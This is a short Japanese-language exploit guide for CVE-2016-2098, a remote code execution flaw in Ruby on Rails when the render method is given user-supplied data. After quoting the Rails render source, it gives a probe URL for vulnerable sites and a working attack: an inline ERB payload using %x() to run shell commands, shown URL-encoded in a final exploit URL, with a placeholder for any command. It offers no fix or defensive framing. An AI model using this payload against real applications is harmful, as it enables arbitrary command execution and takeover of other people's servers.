
ユーザー提供データでrenderを使用する際のRuby on Railsにおけるリモートコード実行の脆弱性
レンダリングにユーザー提供データを使用する際のRuby-on-Railsにおけるリモートコード実行脆弱性。
この問題は、ユーザー提供データに対してrenderメソッドを使用することに起因します。
renderメソッドは通常、テンプレートからページをレンダリングするために使用されますが、renderメソッドはプレーンテキスト(plaintext)やインラインコード(inline)のレンダリングも開発者に許可します。
render関数:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
ターゲットURL:
http://example.com/?view=test
エクスプロイト:
http://example.com/?view[inline]=OK
ソースコードに'OK'と表示されていれば、WebアプリケーションはCVE-2016-2098に対して脆弱です。
<%= %x('[CMD]') %>
CMDを実行したいコマンドに置き換えます。
<%= %x('whoami') %>
URLエンコード後:
%3C%25=%20%25x(whoami)%20%25%3E
最終的なURL:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E